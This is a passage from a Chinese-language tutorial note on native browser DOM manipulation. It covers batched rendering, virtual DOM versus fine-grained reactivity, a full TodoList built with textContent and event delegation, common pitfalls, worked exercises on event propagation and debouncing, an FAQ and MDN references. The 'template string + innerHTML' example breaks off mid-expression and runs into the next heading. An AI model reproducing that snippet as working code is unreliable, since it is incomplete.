requestAnimationFrame 合并视觉更新 | 把动画相关的写操作对齐到下一帧 |
| 虚拟滚动(Virtual Scrolling) | 1 万行列表只渲染可视区域的几十行,是长列表的根本解法 |
| 避免在循环里查询 DOM | 把 querySelector 结果缓存到变量,不要每次重新查 |
// 运行环境:浏览器页面
// 把多次视觉写入合并到下一帧,避免同一帧内重复计算
function batchUpdate(updates) {
return requestAnimationFrame(() => {
updates.forEach((update) => update());
});
}
batchUpdate([
() => { document.body.style.background = '#f5f5f5'; },
() => { document.querySelector('#title').classList.add('highlight'); },
() => { document.querySelector('#badge').hidden = false; },
]);
先测量,再优化
不要凭感觉优化 DOM。用 Chrome DevTools → Performance 面板录制一段操作,
看 Layout / Recalculate Style 的耗时占比,以及是否有反复触发的紫色块(Layout)。
只有确认瓶颈在渲染,上述手段才有意义。调试方法见 前端-09-前端工程化与调试。
3.12 现代替代方案简介
直接手写 createElement + append 在小型页面完全够用,但页面一复杂,「状态」与「DOM」就会失步:
数据变了忘了更新视图,或者更新视图时把状态改乱了。现代框架的思路是把这一步自动化。
方案一:模板字符串 + innerHTML 整体渲染
// 运行环境:浏览器页面
function render(state) {
return `
<ul>
${state.items.map((item) => `方案二:虚拟 DOM(Virtual DOM)
核心思想:在内存里用 JS 对象描述「界面应该长什么样」(这棵对象树就是虚拟 DOM),
状态变化时生成一棵新的虚拟树,与旧树做差异对比(Diff),只把真正变化的部分应用到真实 DOM。
flowchart LR
S["状态 state"] --> V1["新虚拟 DOM 树"]
V1 --> DIFF{"Diff 对比"}
V0["旧虚拟 DOM 树"] --> DIFF
DIFF -->|最小补丁| R["真实 DOM"]
它的价值不在于「比手写 DOM 快」(精心手写的 DOM 操作通常更快),
而在于:你不再需要手写 DOM 操作——只要描述「界面是状态的函数」,框架负责同步。
这正是 前端-07-React 的 JSX 与 前端-06-Vue 的模板编译所做的事。
方案三:细粒度响应式
Vue 3 的响应式系统通过 Proxy 追踪「哪个数据被哪个视图用到」,
数据一变直接精确更新对应的 DOM 节点,连 Diff 都省了。
这也是它与虚拟 DOM 路线的主要分歧点,详见 前端-06-Vue。
那还要不要学原生 DOM?
要,而且必须学。 三个理由:
① 所有框架最终都调用本篇这些 API,出问题时你得能调试到这一层;
② 表单校验、FormData、AbortController、IntersectionObserver 等原生能力框架并不会替你封装;
③ 性能优化(减少重排、事件委托、虚拟滚动)的判断力来自对 DOM 与事件模型的理解。
四、怎么用:一个完整的 TodoList
把本节知识点串起来:查询、创建、插入、事件委托、dataset、classList、
表单校验、localStorage 持久化,全部用原生 API 实现。
<!-- 运行环境:浏览器页面。保存为 todo.html 双击打开即可运行(Node 无法运行本示例) -->
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>TodoList(原生 DOM 版)</title>
<style>
body { font-family: system-ui, sans-serif; max-width: 520px; margin: 40px auto; }
ul { list-style: none; padding: 0; }
li { display: flex; align-items: center; gap: 8px; padding: 8px; border-bottom: 1px solid #eee; }
li.done > .text { text-decoration: line-through; color: #999; }
.text { flex: 1; }
.count { color: #666; font-size: 14px; }
</style>
</head>
<body>
<h1>待办清单</h1>
<form id="form">
<input id="input" name="text" required maxlength="50" placeholder="输入待办后回车">
</form>
<ul id="list"></ul>
<p class="count">共 <span id="total">0</span> 项,未完成 <span id="left">0</span> 项</p>
<script>
'use strict';
const STORAGE_KEY = 'cs-notes-todo';
const form = document.querySelector('#form');
const input = document.querySelector('#input');
const list = document.querySelector('#list');
const totalEl = document.querySelector('#total');
const leftEl = document.querySelector('#left');
/** 唯一的应用状态 —— 视图完全由它推导出来 */
let todos = load();
// ——— 持久化 ———
function load() {
try {
const raw = localStorage.getItem(STORAGE_KEY);
const parsed = raw ? JSON.parse(raw) : [];
// 防御:localStorage 的内容可能被手动改坏
return Array.isArray(parsed) ? parsed : [];
} catch {
return [];
}
}
function save() {
localStorage.setItem(STORAGE_KEY, JSON.stringify(todos));
}
// ——— 渲染:用 DocumentFragment 一次性替换列表内容 ———
function render() {
const fragment = document.createDocumentFragment();
for (const todo of todos) {
const li = document.createElement('li');
li.dataset.id = todo.id; // 用 data-* 关联状态
if (todo.done) li.classList.add('done'); // 状态 → class,而不是直接写 style
const checkbox = document.createElement('input');
checkbox.type = 'checkbox';
checkbox.checked = todo.done;
checkbox.className = 'toggle';
checkbox.setAttribute('aria-label', `标记「${todo.text}」为已完成`);
const span = document.createElement('span');
span.className = 'text';
span.textContent = todo.text; // ✅ 用户内容一律走 textContent
const del = document.createElement('button');
del.type = 'button';
del.className = 'del';
del.textContent = '删除';
li.append(checkbox, span, del);
fragment.append(li);
}
list.replaceChildren(fragment); // 一次性替换,只触发一次布局
totalEl.textContent = String(todos.length);
leftEl.textContent = String(todos.filter((t) => !t.done).length);
}
// ——— 事件委托:一个监听器管住「勾选」和「删除」两种操作 ———
list.addEventListener('click', (event) => {
const li = event.target.closest('li');
if (!li) return;
const id = li.dataset.id;
if (event.target.closest('.del')) {
todos = todos.filter((t) => t.id !== id);
save();
render();
return;
}
if (event.target.closest('.toggle')) {
// checkbox 的 checked 在 click 事件里已经是最新值
const todo = todos.find((t) => t.id === id);
if (todo) {
todo.done = !todo.done;
save();
render();
}
}
});
// ——— 新增:用 submit 而不是按钮 click,这样回车提交也能捕获 ———
form.addEventListener('submit', (event) => {
event.preventDefault(); // 阻止默认提交导致页面刷新
const text = input.value.trim();
if (!text) return; // 简单校验:空内容直接忽略
todos.push({ id: String(Date.now()), text, done: false });
save();
render();
form.reset(); // 清空输入框
input.focus(); // 保持焦点,方便连续输入
});
// ——— 初始化 ———
// 脚本在 body 末尾,DOM 已就绪,无需等待 DOMContentLoaded
render();
</script>
</body>
</html>
这段代码体现的工程习惯:
- 单一数据源:所有 UI 从
todos 推导,不把状态藏在 DOM 里(只把 id 放进 dataset 当索引)。
- 事件委托:列表项无论怎么增删,都只有一个监听器。
replaceChildren 一次性替换:避免 innerHTML = '' 再逐个 append 造成的多次布局。
- 内容全部走
textContent:用户输入直接被当文本,XSS 无从下手。
dataset 传 id、classList 传状态:JS 不直接写样式,视觉规则留在 CSS。
五、注意事项与常见坑
十二个高频错误
1. 脚本执行时元素还没解析出来:把 <script> 放末尾,或用 defer / DOMContentLoaded。
2. 忘记 event.preventDefault() 导致表单刷新 / 链接跳转:页面一刷新,所有 JS 状态丢失。
3. 用 innerHTML 插入用户内容:XSS 漏洞,见 3.4。
4. 把 Live 集合当静态快照用:getElementsByClassName 边遍历边改 DOM 会死循环。
5. 用 childNodes 遍历子元素:缩进产生的空白文本节点会让逻辑出错,用 children。
6. 用 event.target 判断 this:委托场景下 target 可能是深层子元素,要用 closest()。
7. for 循环里给每个元素单独绑事件:1000 个监听器,应该用事件委托。
8. 监听器泄漏:元素被移除但监听器仍被引用(若引用了大对象则内存无法回收);用 AbortController 或 { once: true } 管理。
9. removeEventListener 没生效:传入的函数必须是同一个引用,匿名函数无法移除。
10. setCustomValidity('...') 忘记清空:表单永久无法提交。
11. scroll / mousemove 未节流:滚动卡顿、CPU 飙升。
12. 在写样式之后立刻读 offsetWidth:布局抖动,循环里尤其致命。
AbortController 还能用来批量移除监听器
```js
// 运行环境:浏览器页面
const controller = new AbortController();
const { signal } = controller;
window.addEventListener('scroll', onScroll, { signal, passive: true });
window.addEventListener('resize', onResize, { signal });
// 组件卸载时一次性清理全部监听器,不会漏
controller.abort();
```
这比逐个 removeEventListener 更不容易出错,尤其适合组件化的代码。
六、练习题
题 1(基础题:查询与静态/动态集合)
// 运行环境:浏览器 DevTools 控制台(在任意含多个 <p> 的页面上执行)
const a = document.getElementsByTagName('p');
const b = document.querySelectorAll('p');
console.log(a.length, b.length); // 假设都是 3
document.body.append(document.createElement('p'));
console.log(a.length, b.length); // 输出什么?为什么?
<details>
<summary>答案</summary>
输出 3 3 然后是 4 3。
getElementsByTagName 返回的是 HTMLCollection,动态(Live),它是对 DOM 的实时视图,
新增 <p> 后 length 立刻变成 4。
querySelectorAll 返回 NodeList,静态(Static),它在调用那一刻就把结果定了下来,
后续 DOM 变化不影响它。
实践结论:需要「快照语义」时用 querySelectorAll;需要「始终最新」时用 Live 集合
(但绝大多数场景都是前者,所以 querySelectorAll 是现代代码的默认选择)。
</details>
题 2(事件传播顺序)
<!-- 运行环境:浏览器页面。注意按钮内部还套了一个 <span>,点击时会点在 span 上 -->
<div id="outer">
<button id="btn"><span id="label">点我</span></button>
</div>
<script>
const outer = document.querySelector('#outer');
const btn = document.querySelector('#btn');
const label = document.querySelector('#label');
outer.addEventListener('click', () => console.log('A'));
outer.addEventListener('click', () => console.log('C'), true);
btn.addEventListener('click', () => console.log('B'));
btn.addEventListener('click', () => console.log('D'), true);
label.addEventListener('click', () => console.log('F'));
document.body.addEventListener('click', () => console.log('E'));
</script>
点击文字「点我」(即点在 #label 上),输出顺序是什么?另外:event.target 与 event.currentTarget
分别在什么时候等于哪个元素?
<details>
<summary>答案</summary>
输出顺序:C → D → F → B → A → E
(本题已在真实浏览器引擎中实测确认输出为 C D F B A E。)
推演(依据 DOM 标准「分派事件」一节的两条规则):
- 规则一:该对象所有包含自身的祖先上
capture 为 true 的监听器,按树顺序(从外到内)被调用;
- 规则二:随后,若事件
bubbles 为 true,包含自身的祖先上 capture 为 false 的监听器,
按相反树顺序(从内到外)被调用。
把祖先链写清楚:label(目标)→ btn → outer → body → html → document → window。
- 捕获(下行,命中 capture 监听器):
outer 的 C → btn 的 D。
注意 label 自己没有 capture 监听器,所以此处无输出。
- 目标阶段:事件到达
label,「包含自身的祖先」链上剩余的监听器轮到它——
它自己的冒泡监听器 F。
(zh.javascript.info 明确指出:虽然形式上分三个阶段,但目标阶段并没有被单独处理,
捕获与冒泡的处理程序都在该阶段被触发;同一元素同一阶段的监听器按注册顺序执行。)
- 冒泡(上行):
btn 的 B → outer 的 A → body 的 E。
event.target 与 event.currentTarget:
event.target 始终是 #label(实际触发的元素),整个过程中不变;
event.currentTarget 随监听器所在元素变化:
打印 C 和 A 时是 #outer,打印 D 和 B 时是 #btn,打印 F 时是 #label,打印 E 时是 body。
要点:A 与 C 挂在同一个 outer 上,C 是捕获所以走「下行」先执行,A 走「上行」后执行。
在同一个元素上,同阶段的多个监听器才按注册顺序执行;跨阶段则由传播方向决定,与注册顺序无关。
</details>
题 3(事件委托)
有一个 <ul id="list">,列表项会被接口返回的数据动态重建(每次重建都会 replaceChildren)。
要求:点击某一项时在控制台输出该项的 data-id,且重建后功能依然正常。
请写出实现,并说明为什么不能把监听器绑在 li 上。
<details>
<summary>参考答案</summary>
// 运行环境:浏览器页面
document.querySelector('#list').addEventListener('click', (event) => {
const li = event.target.closest('li');
if (!li) return; // 点到 ul 空白处
console.log('点击的 id:', li.dataset.id);
});
为什么不能绑在 li 上:replaceChildren / innerHTML 会把旧的 li 整个销毁,
绑定在它们身上的监听器随之消失;每次重建都必须重新遍历并绑定一遍(O(n) 次操作,且容易漏)。
挂在 ul 上的委托监听器不属于任何 li,重建多少次都不受影响——
这就是事件委托最实用的价值。
</details>
题 4(防抖与节流)
下面是搜索框的实时联想代码,请指出问题并给出修复方案。
// 运行环境:浏览器页面
document.querySelector('#search').addEventListener('input', async (e) => {
const res = await fetch(`/api/search?q=${encodeURIComponent(e.target.value)}`);
renderResults(await res.json());
});
<details>
<summary>参考答案</summary>
两个问题:
- 没有防抖:用户每敲一个字符就发一次请求,输入
hello 会发出 5 次请求,浪费带宽与服务端资源。
- 存在竞态(Race Condition):用户快速输入
ab,先发的 a 请求可能后返回,
把 ab 的结果覆盖掉,界面显示错误内容。这是比性能更严重的正确性问题。
修复(防抖 + 用 AbortController 取消过期请求):
// 运行环境:浏览器页面
const input = document.querySelector('#search');
let controller = null;
let timerId = null;
function debounce(fn, wait) {
return function (...args) {
clearTimeout(timerId);
timerId = setTimeout(() => fn.apply(this, args), wait);
};
}
const search = debounce(async (keyword) => {
if (!keyword) return renderResults([]);
controller?.abort(); // 取消上一次未完成的请求,从根上消除竞态
controller = new AbortController();
try {
const res = await fetch(`/api/search?q=${encodeURIComponent(keyword)}`, {
signal: controller.signal,
});
if (!res.ok) throw new Error(`HTTP ${res.status}`);
renderResults(await res.json());
} catch (err) {
if (err.name !== 'AbortError') console.error(err); // 主动取消不算错误
}
}, 300);
input.addEventListener('input', (e) => search(e.target.value.trim()));
</details>
题 5(思考题:性能)
下面两段代码功能相同。第二段通常更快,请从浏览器渲染流程的角度解释原因;
并说明在什么情况下两者差别其实不大。
// 版本 1
for (let i = 0; i < 1000; i++) list.append(document.createElement('li'));
// 版本 2
const fragment = document.createDocumentFragment();
for (let i = 0; i < 1000; i++) fragment.append(document.createElement('li'));
list.append(fragment);
<details>
<summary>参考思路</summary>
版本 1 在循环里做了 1000 次 DOM 变更,每一次都会让浏览器的样式/布局进入「脏」状态。
只要循环中间夹进任何一次布局读取(offsetHeight、getBoundingClientRect()、getComputedStyle() 等),
浏览器就被迫立刻同步重排(布局抖动),代价随循环次数线性放大;
即使没有读取,1000 次变更记录本身也有开销,且每次变更都要做「祖先链失效标记」。
版本 2 里 DocumentFragment 不在主 DOM 树上(MDN:文档片段从不属于主 DOM 树),
往它里面加节点只是内存中的树操作,完全不触碰浏览器的样式与布局系统。
最后 list.append(fragment) 只产生 1 次 DOM 变更——片段被它的全部 1000 个子节点替换,
浏览器因此只需在下一帧做一次布局。
什么情况下差别不大:现代浏览器会把同一个任务内的多次变更合并(batch)到下一帧统一计算,
只要全程不做布局读取,版本 1 的 1000 次 append 同样只会引发一次重排。
所以真正的性能红线不是「append 了几次」,而是有没有在写操作之间插入读操作。
MDN 也特别注明片段的性能收益主要体现在较老的引擎上。
练习的真正结论:DocumentFragment 的价值在于显式地把变更合并成一次挂载,
让性能不依赖「浏览器会不会替我批量优化」这一假设;而 读写分离(见 3.11)才是必须遵守的硬规则。
</details>
七、常见问题(FAQ)
Q1:现在都用框架了,还需要学原生 DOM 吗?
A:需要。框架的抽象层越厚,出问题时越需要往下钻:
v-for 里的 key 为什么影响性能、虚拟 DOM 的 diff 为什么会有 bug、
为什么某个 ref 拿到的元素还没渲染好——这些问题的答案都在原生 DOM 与事件模型里。
另外有些 API(FormData、IntersectionObserver、AbortController、<dialog>)
框架并不封装,直接用原生反而更简单。框架层面的内容见 前端-06-Vue 与 前端-07-React。
Q2:document.write() 还能用吗?
A:不要用。在文档加载完成后调用 document.write() 会清空整个文档,
把当前页面全部内容替换掉。它只在「解析期间的同步脚本里」有意义,
而现在有 createElement + append 等更安全的方式。现代浏览器对
解析后加载的脚本中调用 document.write() 还会直接忽略并给出控制台警告。
Q3:为什么我给元素加了 click,但点击时没反应?
A:按这个顺序排查:
- 元素真的存在吗?
querySelector 返回 null 时监听器根本没绑上——脚本执行时元素还没解析出来(见 3.9)。
- 是不是被别的元素挡住了?用 DevTools 的 Elements 面板点击元素,或用
document.elementFromPoint(x, y) 看看命中的是谁。
- 有没有
pointer-events: none?或者在父级上被禁用。
- 有没有更早的监听器调用了
stopPropagation()?事件在到达你的元素前就被截断了。
- 绑定的是不是同一个函数引用?
removeEventListener 失败时会留下「已失效」的错觉。
- 事件本身是否冒泡?
focus / blur 不冒泡,委托到父级自然收不到。
Q4:innerHTML 和 insertAdjacentHTML 之后,原来的事件监听器为什么都没了?
A:因为设置 innerHTML 会销毁原有子节点并重新解析创建新的节点。
监听器是挂在「旧节点对象」上的,旧对象被丢弃,监听器自然一同消失(注意:这不会造成内存泄漏,
旧节点被回收时监听器一起回收。会泄漏的是另一种情况——你用一个长期存活的变量
一直持有被移除的节点或它的监听器)。
解决办法有两个:用事件委托(推荐,重建多少次都不受影响),
或者用 createElement + append 只做增量修改,不整体重建。
Q5:DOMContentLoaded 和 defer 该选哪个?
A:两者目的一样(等 DOM 就绪再执行),场景不同:
<script defer src="...">:声明式,适合外部脚本文件,代码里不需要额外包裹;
DOMContentLoaded 监听:适合内联脚本,或者需要在 DOM 就绪后做初始化的模块代码。
注意 defer 只对外部脚本(有 src)有效,内联脚本写 defer 会被忽略。
相关笔记
- JavaScript-01-基础语法与类型:
null 与 undefined 的判断、字符串方法是 DOM 操作的基本功
- JavaScript-02-函数与作用域:事件监听器里的
this、闭包与监听器泄漏
- JavaScript-04-异步编程:事件循环决定了事件回调何时执行,
fetch 与 AbortController 的配合
- 前端-01-HTML基础:语义化标签、表单元素与可访问性,是 DOM 操作的对象
- 前端-02-CSS基础:选择器、层叠与优先级,
classList 切换样式的前提
- 前端-04-浏览器与HTTP:渲染流程、重排与重绘,解释本篇性能建议的根本原因
- 前端-06-Vue:响应式原理与模板编译,虚拟 DOM 路线的对照
- 前端-07-React:JSX、合成事件与虚拟 DOM 的 Diff 算法
参考来源
- MDN 中文:DOM 简介 https://developer.mozilla.org/zh-CN/docs/Web/API/Document_Object_Model/Introduction
- MDN 中文:
Document.querySelectorAll()(静态 NodeList 的定义) https://developer.mozilla.org/zh-CN/docs/Web/API/Document/querySelectorAll
- MDN 中文:
Element.append() https://developer.mozilla.org/zh-CN/docs/Web/API/Element/append
- MDN 中文:
Node.textContent https://developer.mozilla.org/zh-CN/docs/Web/API/Node/textContent
- MDN 中文:
Element.innerHTML(含安全注意事项) https://developer.mozilla.org/zh-CN/docs/Web/API/Element/innerHTML
- MDN 中文:
EventTarget.addEventListener()(第三个参数与各选项) https://developer.mozilla.org/zh-CN/docs/Web/API/EventTarget/addEventListener
- MDN 中文:
event.stopPropagation() https://developer.mozilla.org/zh-CN/docs/Web/API/Event/stopPropagation
- MDN 中文:
event.preventDefault() https://developer.mozilla.org/zh-CN/docs/Web/API/Event/preventDefault
- MDN 中文:
DOMContentLoaded 事件 https://developer.mozilla.org/zh-CN/docs/Web/API/Document/DOMContentLoaded_event
- MDN 中文:
DocumentFragment https://developer.mozilla.org/zh-CN/docs/Web/API/DocumentFragment
- MDN 中文:
HTMLFormElement.checkValidity() https://developer.mozilla.org/zh-CN/docs/Web/API/HTMLFormElement/checkValidity
- MDN 中文:
Window.getComputedStyle()(读取计算样式会强制样式与布局计算) https://developer.mozilla.org/zh-CN/docs/Web/API/Window/getComputedStyle
- 现代 JavaScript 教程(中文):《冒泡和捕获》 https://zh.javascript.info/bubbling-and-capturing
- 说明:
AbortSignal.timeout、Pointer Events 的浏览器支持情况与表单约束校验的细节可能随版本变化,请以 MDN 与目标浏览器的最新文档为准。